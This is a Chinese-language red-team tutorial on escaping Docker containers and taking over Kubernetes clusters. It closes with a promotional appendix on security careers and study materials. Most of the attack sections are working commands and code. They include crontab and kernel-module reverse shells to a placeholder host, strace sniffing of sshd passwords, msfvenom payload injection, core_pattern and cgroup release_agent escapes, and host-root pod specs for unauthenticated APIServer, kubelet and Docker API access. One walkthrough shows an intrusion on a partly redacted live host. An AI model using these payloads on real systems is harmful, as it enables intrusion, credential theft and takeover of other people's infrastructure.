本文主要介绍容器逃逸手法与k8s利用手法。
随着云原生技术的不断发展,越来越多的企业将自身业务系统部署在云上或将其容器化。在一般的攻防演练中,拿下容器的情况时常发生。因为容器环境受限较多,我们需要突破容器环境,才能更好地进行横向渗透。此外,k8s目前几乎已经成为云原生的基础设施,了解k8s的一些利用手法也可以帮助我们丰富在云和容器环境中的攻防知识。
首先,我们对k8s的一些必要组件和名词做个简单介绍。

名词解释

image

容器逃逸

在拿下一台服务器之后,我们会遇到“服务器即容器”的情况。为了能够深入或横向渗透,我们常常需要进行容器逃逸和容器的隔离限制。容器实际是宿主机中的一个受限制进程,能够直接在宿主机中看到容器进程,容器与虚拟机有着本质上的不同。容器逃逸是一个受限进程获取未受限权限的一个操作,这比较接近提权操作。

图片.png

权限策略及描述

Linux使用Capabilities来限制进程在系统调用上的权限问题,以下是一些策略名及其描述,容器逃逸的方式跟这些策略有着紧密的联系。

图片.png

特权容器逃逸

特权容器具备所有特权集,在容器内部能做到的事也更多,比如挂载宿主机目录、访问宿主机所有devices,我们先从特权容器出发,介绍一些常见的逃逸手法。
 

图片.png


测试环境可以用以下命令/配置文件进入容器
docker run -it --privileged ubuntu /bin/bash
或者k8s使用以下配置文件
apiVersion: v1 kind: Pod metadata: name: privileged namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: ["/bin/bash","-ce","tail -f /dev/null"] securityContext: privileged: true

挂载rootfs

在特权容器中,我们可以查看、挂载宿主机中的磁盘。
fdisk -l
 

图片.png


一个较为直接的逃逸手法则是,直接挂载宿主机磁盘(宿主机根目录)到容器中,再chroot到宿主机磁盘,如下
mount /dev/vda1 rootfs/ chroot rootfs/
 

图片.png


这样便逃逸成功。特权容器可以自己把宿主机的根目录挂载进容器,如果目前可控的不是一个特权容器,但创建容器时宿主机的根目录被挂载进了容器,同样可以使用该手法进行逃逸。

写入定时任务

当然,除此之外还可以考虑在挂载磁盘之后直接写定时任务,如下
echo "* * * * * root /bin/bash -i >& /dev/tcp/host/port 0>&1">>rootfs/etc/crontab
 

图片.png


再比如将ssh公钥写入到宿主机中,如果容器中有ssh,则可以试着直接连接。
 

图片.png


需要注意的是,crontab、authorized_keys等文件是EDR、HIDS重点监控的对象,直接进行操作很容易触发告警。特权容器荣有较多权限集,在后续权限集中讲到的逃逸手法通常在特权容器中也都适用。

Mknod

在特权容器中,还可以尝试利用mknod进行逃逸。
mknod命令的作用是创建一个特殊文件(比如磁盘、软盘等类型的block设备,又或者是面向字符的其他设备),它的用法如下
mknod 新文件名 type 主设备号 次设备号
倘若我们知道宿主机在操作系统中的主次设备号,则可以尝试使用该命令创建指向宿主机的一个block文件,而后利用debugfs命令访问该文件,从而达到操控宿主机文件的效果。
在docker容器中,/etc/hostname、/etc/resolv.conf、/etc/hosts通常是从宿主机中挂载而来,我们可以通过查看容器的挂载信息来获知宿主机的主次设备号。
cat /proc/1/mountinfo |grep /etc/ mknod newnod b 252 1 debugfs -w newnod
 

图片.png


 

图片.png


在成功创建完指向宿主机的块文件后,就可以对宿主机中的文件进行任意读写了。
 

图片.png


比如
 

图片.png


上述方法为设备文件系统类型是ext2/ext3/ext4时可用的,当设备文件系统类型是xfs时,可以更方便的进行操作。
//使用mknod创建块设备的操作与前文一样,这里仅说与debugfs -w newnode不同的地方
mkdir fine mount newnod fine
将设备节点进行挂载,可以直接对该节点进行操作,不过,这需要我们创建的节点文件系统为xfs类型。
 

图片.png


 

图片.png


也可以使用neargle与CDXY 两位师傅的工具进行利用。
https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw

特殊目录挂载

当容器中挂载了以下特殊目录时,我们也可以尝试进行逃逸
/ /etc /proc /root 用户目录

挂载proc

前面讲过的目录我们不再多言。当宿主机proc被挂载进容器时,可以利用宿主机proc目录下的core_pattern文件(/proc/sys/kernel/core_pattern)进行逃逸。测试环境如下
docker run -it -v /proc:/tmp/proc ubuntu /bin/bash
或者k8s使用以下配置文件
apiVersion: v1 kind: Pod metadata: name: procvol namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: ["/bin/bash","-ce","tail -f /dev/null"] volumeMounts: - name: proc mountPath: /tmp/proc volumes: - name: proc hostPath: path: /proc
/proc/sys/kernel/core_pattern文件在Linux中有一个作用,即,在进程崩溃时,系统内核将捕获进程崩溃信息并将之记录在一个文件中,该文件默认名称为core,可以通过更改/proc/sys/kernel/core_pattern文件来进行修改。除此之外,core_pattern还有一个特性:当core_pattern的第一个字符为管道符|时,它会以root用户权限执行管道符后指定的文件。故,当宿主机的/proc目录被挂载进容器时,可以通过修改该文件,达到时宿主机执行一个bash脚本的效果。
在宿主机中,每个容器自己的目录下都存在一个diff文件夹,该文件夹中存放的内容为每个容器自创建之后与镜像文件相比做了改变的文件,在容器中执行sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab即可获知当前容器在宿主机中对应的diff目录。
 

图片.png


当我们在镜像内对容器内的文件进行修改时,宿主机中对应目录下也会存在对应的文件,这就相当于是在宿主机的指定目录中,容器拥有写权限。比如,我们在容器根目录随意创建一个文件,在宿主机中也会存在对应文件,所以我们在容器中写入一个bash脚本,宿主机中也会存在该文件,并且其路径是可知的。
 

图片.png


在容器根目录创建newtest文件,在core_pattern中添加payload内容。

cat <<EOF>/newtest #!/bin/bash touch /tmp/4ut15mcc EOF chmod +x /newtest

sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab

echo -e "|/var/lib/docker/overlay2/48c7383863c8f600b40fc1b3a8447356a2431471b9bf31073d09fd0f6b1c6b1d/diff/newtest">core_pattern

echo -e "|/var/lib/docker/overlay2/48c7383863c8f600b40fc1b3a8447356a2431471b9bf31073d09fd0f6b1c6b1d/diff/newtest">/tmp/proc/sys/kenerl/core_pattern
 

图片.png


 

图片.png


这里说明一下,如果想要隐藏我们输入的信息,可以在脚本名后面添加\r与空格,如下。
 

图片.png


原理为,我们输入的内容里存在\r,它意为将光标移至行首但不换行,在\r后每添加一个字符都会将行首的一个字符在显示上进行覆盖,但其实际内容不变,这可以达到隐藏内容的效果。
 

图片.png


接下来,用一个程序使容器发生段错误即可使宿主机运行`newtest文件(在服务器上编译好传进去)。
#include <stdio.h>
int main(void)

int *a = NULL;
*a = 1;
return 0;

}`

图片.png

图片.png

CAP_SYS_PTRACE

docker run --pid=host --cap-add=SYS_PTRACE --rm -it ubuntu bash

或者k8s使用以下配置文件
apiVersion: v1 kind: Pod metadata: name: ptracepod namespace: default spec: hostPID: true containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: ["/bin/bash","-ce","tail -f /dev/null"] securityContext: capabilities: add: - "SYS_PTRACE"

抓取sshd账号密码

拥有该特权集,并且容器与宿主机共用进程命名空间时,容器可以利用strace、ptrace抓取宿主机sshd密码。命令如下:
strace -f -F -p ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'} -t -e trace=read,write -s 32 2> sshd.log grep -E 'read\(6, ".+\\0\\0\\0\\.+"' sshd.log
 

图片.png


当服务器管理员登录该服务器时即可抓取到ssh连接的明文账号密码。
当然,很多时候容器里并不一定存在strace命令,如果容器中存在包管理器,则可以手动安装,比如apt
apt-get install strace
没有的话,也可以考虑自行静态编译一个strace传进容器。

进程注入

除了抓取ssh账号密码之外,还可以通过ptrace系统调用以进程注入的形式来实现容器逃逸。
注入器使用https://github.com/dismantl/linux-injector
需要注意的是,该注入器需要安装fasm,链接http://flatassembler.net/download.php
将两者下载之后,准备工作如下
cd fasm下载目录
tar -xvf fasm-1.73.30.tgz export PATH=$PATH:pwd

cd linux-injector-master下载目录
unzip linux-injector-master.zip
cd linux-injector-master
make
 

图片.png


 

图片.png


linux-injector可以将恶意elf注入至进程之中,使用msf生成木马,如下
msfvenom -p linux/x64/shell_reverse_tcp LHOST=host LPORT=port -f raw >reverse
将编译后的linux-injector目录与木马打包,传到容器中
cd linux-injector-master tar -cvf ../injector.tar .
 

图片.png


而后选择一个宿主机中的进程进行注入即可。

图片.png

CAP_SYS_ADMIN

SYS_ADMIN权限为privileged的子集。
docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -it ubuntu bash

或者k8s使用以下配置文件
apiVersion: v1 kind: Pod metadata: name: adminpod namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: ["/bin/bash","-ce","tail -f /dev/null"] securityContext: capabilities: add: - "SYS_ADMIN"

notify_on_release

容器技术利用Linux的Cgroup机制实现了在CPU、内存等硬件资源层面上的容器隔离与限制。在Linux的Cgroup中,它为每一个可控的资源都分配一个子系统,比如cpu子系统、memory子系统等,前者用以限制进程的CPU使用率、后者用以限制进程的内存使用量。notify_on_release机制则是:在cgroup下的子系统中(比如CPU、Memory)都有着一个notify_on_release文件,当notify_on_release文件的值为1时,该子系统中的所有进程都退出时,内核将以root的权限执行子系统中release_agent文件中指定路径的文件。
 

图片.png


在每一个子系统的cgroup.procs文件中,则指明了当前子系统中的进程pid。
 

图片.png


基于这个机制,如果我们将宿主机的cgroup挂载进容器,再修改notify_on_release与release_agent的值,即可达到容器逃逸的效果。为了不对宿主机进程造成影响,也为了能更方便的触发notify_on_release,我们先挂载cgroup,并且在内存子系统中再创建一个新的子系统(新建文件夹即是新建子系统,创建好文件夹后,会自动填充进资源文件)。
mkdir ~/mount_cgroup && mount -t cgroup -o memory cgroup ~/mount_cgroup/ && mkdir ~/mount_cgroup/waittoty
 

图片.png


刚才说到,内核最终是作为宿主机去执行release_agent中指定路径的文件,所以我们需要再release_agent中指定宿主机目录下的文件路径,docker容器在宿主机中存在着自己的目录,我们在容器中创建文件,宿主机中也会有同样的文件,所以只要找到容器在宿主机中对应的目录并在容器中赋予目标文件可执行权限即可。
sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
 

图片.png


 

图片.png


接下来,我们只需要在waittoty中的cgroup.procs中指定进程pid,当目标进程结束时,即可完成逃逸。k8s连接pod的每一个shell都是不同的进程,所以我们可以将当前进程的pid写入cgroup.procs中,在退出当前shell的时候便能够触发。
echo $$ >/root/mount_cgroup/waittoty/cgroup.procs
 

图片.png


当然,除此之外,还可以随便执行一个进程,并将其pid写入cgroup.procs中,也可以触发
sh -c "echo \$\$ > /root/mount_cgroup/waittoty/cgroup.procs"

图片.png

CAP_SYS_MODULE

该权限允许容器在内核中加载内核ko库文件,可通过加载恶意ko库逃逸容器。
apiVersion: v1 kind: Pod metadata: name: modulepod namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: ["/bin/bash","-ce","tail -f /dev/null"] securityContext: capabilities: add: - "SYS_MODULE"
可以使用以下恶意文件生成ko库
#include <linux/kmod.h> #include <linux/module.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("AttackDefense"); MODULE_DESCRIPTION("LKM reverse shell module"); MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/host/port 0>&1", NULL}; static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); }
static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n"); }

module_init(reverse_shell_init); module_exit(reverse_shell_exit);

在该文件目录下创建Makefile文件,内容如下
obj-m +=evilmodule.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

在make时,如果出现以下错误
make -C /lib/modules/3.10.0-1160.76.1.el7.x86_64/build M=/root/evil modules make: *** /lib/modules/3.10.0-1160.76.1.el7.x86_64/build: No such file or directory. Stop. make: *** [all] Error 2
则可能是编译环境中缺少内核开发包,需要安装
yum install kernel-devel-$(uname -r)
 

图片.png


将该库传入容器,再使用insmod加载即可。
 

图片.png


在实际利用时,还是需要注意一下容器目前内核的版本,最好能用目标容器的内核版本编译ko库。
倘若容器中没有insmod命令,可以手动编译再放进去
#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) #define finit_module(fd, param_values, flags) syscall(__NR_finit_module, fd, param_values, flags)

int main(int argc, char **argv) { const char *params; int fd, use_finit; size_t image_size; struct stat st; void *image;

/* CLI handling. */ if (argc < 2) { puts("Usage ./insmod.o mymodule.ko [args='' [use_finit=0]"); return EXIT_FAILURE; } if (argc < 3) { params = ""; } else { params = argv[2]; } if (argc < 4) { use_finit = 0; } else { use_finit = (argv[3][0] != '0'); }

/* Action. */ fd = open(argv[1], O_RDONLY); if (use_finit) { puts("finit"); if (finit_module(fd, params, 0) != 0) { perror("finit_module"); return EXIT_FAILURE; } close(fd); } else { puts("init"); fstat(fd, &st); image_size = st.st_size; image = malloc(image_size); read(fd, image, image_size); close(fd); if (init_module(image, image_size, params) != 0) { perror("init_module"); return EXIT_FAILURE; } free(image); } return EXIT_SUCCESS; }
 

图片.png


容器逃逸,除上述手法之外,还有很多,比如利用内核漏洞等,不再一一介绍。

k8s组件利用

k8s核心组件出现错误配置之时可能会存在未授权利用,比如APIServer未授权、Docker Remote Api未授权等。下面我们对k8s核心组件的未授权利用进行介绍。

APIServer

APIServer是K8s各组件之间交互的通道,各组件的交互皆通过APIServer实现,此外K8s中的认证、准入等功能也是在APIServer中实现,它也是K8s所有功能的主入口。通过APIServer,我们可以通过http请求的方式对集群进行控制。APIServer默认端口为8080,安全端口6443。默认的8080端口存在着未授权访问,在新版本k8s中已取消该默认端口。

未授权利用

图片.png


也可手动设置insecure-port将未授权访问打开,修改该配置文件后kube-apiserver会自动重载。
 

图片.png


 

图片.png


当我们能直接访问、控制到apiserver时,即可以说是已经拿下该集群。我们可以在本地使用kubectl远程控制集群,比如查看集群pod。
 

图片.png


再比如,创建一个shell POD用以获取节点shell,yaml如下
apiVersion: v1 kind: Pod metadata: name: shell namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: ["/bin/bash","-ce","tail -f /dev/null"] volumeMounts: - name: rootfs mountPath: /tmp/rootfs volumes: - name: rootfs hostPath: path: /
 

图片.png


如下即可获取到节点服务器控制权。
 

图片.png


当然,在实际的渗透环境中,并不建议这样操作,EDR与HIDS等主机层面的防护设备很容易识别到该操作,而后触发告警。
如果有时无法使用kubectl进行利用,可以手动发送http请求来控制APIServer。
比如kubectl get pod的等价http请求为:
curl https://apiserver:port/api/v1/namespace/defualt/pods -k kubectl create -f xxx.yaml curl https://apiserver:port/api/v1/namespace/default/pods -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"shell","namespace":"default"},"spec":{"containers":[{"command":["/bin/bash","-ce","tail -f /dev/null"],"image":"ubuntu","imagePullPolicy":"IfNotPresent","name":"ubuntu","volumeMounts":[{"mountPath":"/tmp/rootfs","name":"rootfs"}]}],"volumes":[{"hostPath":{"path":"/"},"name":"rootfs"}]}}' -k
//请求包 POST /api/v1/namespaces/default/pods?fieldManager=kubectl-create&fieldValidation=Strict HTTP/1.1 Host: apiserver:port User-Agent: kubectl/v1.25.4 (darwin/arm64) kubernetes/872a965 Content-Length: 340 Accept: application/json Content-Type: application/json Kubectl-Command: kubectl create Kubectl-Session: 262ac496-5949-4863-80ea-2f69df750268 Accept-Encoding: gzip, deflate Connection: close

{"apiVersion":"v1","kind":"Pod","metadata":{"name":"shell","namespace":"default"},"spec":{"containers":[{"command":["/bin/bash","-ce","tail -f /dev/null"],"image":"ubuntu","imagePullPolicy":"IfNotPresent","name":"ubuntu","volumeMounts":[{"mountPath":"/tmp/rootfs","name":"rootfs"}]}],"volumes":[{"hostPath":{"path":"/"},"name":"rootfs"}]}}
倘若不知道kubectl命令对应哪个请求,可以在本地使用kubectl -v=8查看日志。

图片.png

在POD中执行命令使用的是SPDY协议的请求,curl不支持。
在默认情况下,安全端口(6443)无法未授权访问。

图片.png

要想通过6443来控制k8s,需要取得服务器的token才行,或者是,目标集群给匿名用户配置了集群管理员权限,如下。
kubectl create clusterrolebinding test-admin --clusterrole cluster-admin --user system:anonymous
 

图片.png

图片.png

kubeconfig泄露

除了APIServer未授权之外,倘若我们能读取到k8s服务器的kubeconfig(默认位置$HOME/.kube/config,比如/root/.kube/config)
 

图片.png


我们可以使用目标主机的kubeconfig(替换本地),直接接管目标k8s。

图片.png

实例

以小美一台主机为例,访问http://2xx.xxx.xxx.xxx:8080,发现kubernetes接口信息。

图片.png


通过kubectl -s "2xx.xxx.xxx.xxx:8080" get pod,确认可以控制该服务器k8s。
 

图片.png


尝试创建一个shell pod。
 

图片.png


 

图片.png


该集群节点存在污点,调度失败,尝试对现有pod进行利用。
 

图片.png


存在cap_mknod权限。
 

图片.png


 

图片.png


发现该容器是nobody用户,无法使用mknod创建节点。
 

图片.png


一番查找,发现该容器将宿主机根目录挂载到了/master中,但因为nobody用户权限问题,无法利用。
我们自己编写的pod文件不符合该服务器调度设置,故,我们导出test-444444的配置,在其配置上进行修改,来禁用容器的安全限制。
kubectl -s "2xx.xxx.xxx.xxx:8080" get pod test-444444 -o yaml >test.yaml
`apiVersion: v1
kind: Pod
metadata:
annotations:
cni.projectcalico.org/podIP: 172.20.1.17/32
creationTimestamp: "2023-01-03T18:35:06Z"
name: test-webshell
namespace: default
resourceVersion: "96207812"
selfLink: /api/v1/namespaces/default/pods/test-444444
uid: 09199633-3e67-4c7a-bfc8-31b080f49e63
spec:
hostNetwork: true
securityContext:
runAsNonRoot: false
runAsUser: 0
containers:

  • command:

    • /bin/sleep

    • 3650d
      image: registry.jadecloud.local:5000/prometheus/node-exporter:v0.18.1`

` imagePullPolicy: IfNotPresent
name: test-444444
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /master
name: master
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: default-token-85g47
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
nodeName: cis01-eahje2mhemgd-master-2
restartPolicy: Always
schedulerName: default-scheduler
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
tolerations:

  • effect: NoSchedule
    key: CriticalAddonsOnly
    operator: Exists

  • effect: NoSchedule
    key: dedicated
    operator: Exists

  • effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300

  • effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
    volumes:

  • hostPath:
    path: /
    type: Directory
    name: master

  • name: default-token-85g47
    secret:
    defaultMode: 420
    secretName: default-token-85g47
    status:
    conditions:

  • lastProbeTime: null
    lastTransitionTime: "2023-01-03T18:35:06Z"
    status: "True"
    type: Initialized

  • lastProbeTime: null
    lastTransitionTime: "2023-01-03T18:35:07Z"
    status: "True"
    type: Ready

  • lastProbeTime: null
    lastTransitionTime: "2023-01-03T18:35:07Z"
    status: "True"
    type: ContainersReady

  • lastProbeTime: null
    lastTransitionTime: "2023-01-03T18:35:06Z"
    status: "True"
    type: PodScheduled
    containerStatuses:

  • containerID: docker://96c732c5ba0d0b0779e840ad258ce8026dcaedfa76597a78de3e72c208b3bc2d
    image: registry.jadecloud.local:5000/prometheus/node-exporter:v0.18.1`

    imageID: docker-pullable://registry.jadecloud.local:5000/prometheus/node-exporter@sha256:b630fb29d99b3483c73a2a7db5fc01a967392a3d7ad754c8eccf9f4a67e7ee31
    lastState: {}
    name: test-444444
    ready: true
    restartCount: 0
    state:
    running:
    startedAt: "2023-01-03T18:35:07Z"
    hostIP: 192.168.110.48
    phase: Running
    podIP: 172.20.1.17
    qosClass: BestEffort
    startTime: "2023-01-03T18:35:06Z"
     

    图片.png


    chroot master即可。
     

    图片.png


     

    图片.png


    倘若该内容还存在其他集群,则可以当前节点为跳板去攻击。
    另外,在同一集群下,横移到其他节点,可以通过调度指定节点创建shellpod的方式。

Kubectl proxy

kubectl proxy可以在kubectl客户端与APIServer之间建立一个反向代理,将APIServer代理到kubectl客户端,代理成功之后可以直接在kubectl客户端访问APIServer,并且proxy默认不鉴权。
kubectl proxy --port=8080
 

图片.png


运行kubectl时如果将监听端口设置为0.0.0.0或任何外部能访问到的ip并且未对许可访问主机进行限制,都将使得外部主机能够未授权访问并控制APIServer。
kubectl proxy --port=8084 --address=0.0.0.0 --accept-hosts=^.*$
 

图片.png


具体利用手法则与APIServer小节相同。

Kubelet

Kubelet是在K8s集群节点中运行的重要服务,节点通过kubelet与APIServer进行通信,APIServer将pod信息下发给kubelet,而后kubelet根据信息创建pod,kubelet直接与容器引擎交互,负责pod的生命周期管理,kubelet 监听了10248、 10250、10255 等端口。
当kubelet配置文件中的anonymous设置为true时,可以直接通过访问kubelet的10250端口未授权访问指定节点kubelet。
 

图片.png


比如直接查看pod信息。
 

图片.png


再比如在pod中执行命令curl https://kubeletserver:port/run/namespace/pod/container -d "cmd=命令" -k,比如curl https://192.168.2.136:10250/run/nginx/nginx/nginx -d "cmd=命令" -k

图片.png

当存在kubelet未授权访问时,我们可以在https://xxx.xx.x.xxx:10250/pods中找到原本就存在的高权限容器,而后再通过逃逸操作来获得指定节点控制权。

DockerRemoteAPI

大多K8s使用docker作为容器引擎,Docker daemon是docker的守护进程,docker客户端通过与Docker daemon交互来操控docker。docker daemon默认未鉴权,也就是说,如果目标服务器对外开放了docker daemon,我们可以直接通过指定端口(一般为2375)与docker进行交互,控制docker。
当docker进行如下配置(/usr/lib/systemd/system/docker.service)时,可以远程未授权利用。
 

图片.png


远程ls目标docker中的容器。
 

图片.png


同样,可以借此创建一个shell容器,进而获取目标服务器控制权。
docker -H "tcp://host:port" run -it -v /:/tmp/rootfs ubuntu /bin/bash

图片.png

我们可以通过访问http://192.168.2.136:2375/info来确认目标是否存在docker remote api未授权。

图片.png

Dashboard

当Kubernetes-dashboard的ServiceAccount被错误配置权限时,攻击者可直接无token登录dashboard去操控k8s,这里不再进行演示。

Etcd

etcd是一个分布式的键值存储系统,通常用来存储一些关键数据,比如配置文件。在多数情况下,etcd中的数据未经过数据加密,故当其中数据泄露时,则会对k8s集群带来危害。在默认情况下etcd监听端口为2379,配置文件路径为/etc/kubernetes/manifests/etcd.yaml
可以通过etcd未授权读取token,而后再接管服务器,这里不再进行演示。

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

  • 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
  • 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

Logo

K8S/Kubernetes社区为您提供最前沿的新闻资讯和知识内容

更多推荐